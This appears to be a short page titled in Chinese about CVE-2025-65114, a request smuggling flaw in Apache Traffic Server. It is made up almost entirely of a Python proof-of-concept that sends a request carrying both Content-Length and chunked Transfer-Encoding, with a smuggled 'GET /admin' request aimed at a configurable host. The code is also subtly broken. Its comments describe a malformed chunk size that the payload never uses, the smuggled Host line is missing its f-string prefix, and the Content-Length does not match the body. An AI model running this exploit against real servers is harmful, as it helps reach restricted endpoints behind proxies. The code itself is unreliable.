CVE-2025-65114 Apache Traffic Server请求走私漏洞

import socket # Target configuration TARGET_HOST = "example.com" TARGET_PORT = 80 def send_smuggling_payload(): """ Conceptual PoC for HTTP Request Smuggling via malformed chunked encoding. This script sends a request with an invalid chunk size to test the vulnerability. """ # Constructing a malformed chunked request # Using an invalid chunk size (e.g., '1x' instead of hex) or hidden spaces payload = ( "POST / HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: PoC-Client\r\n" "Content-Length: 30\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "5\r\n" # Valid chunk size "Hello\r\n" # Chunk data "0\r\n" # Termination "\r\n" "GET /admin HTTP/1.1\r\n" # Smuggled request part "Host: {TARGET_HOST}\r\n\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) s.send(payload.encode()) response = s.recv(4096) print("Response received:") print(response.decode()) s.close() except Exception as e: print(f"Error occurred: {e}") if __name__ == "__main__": send_smuggling_payload()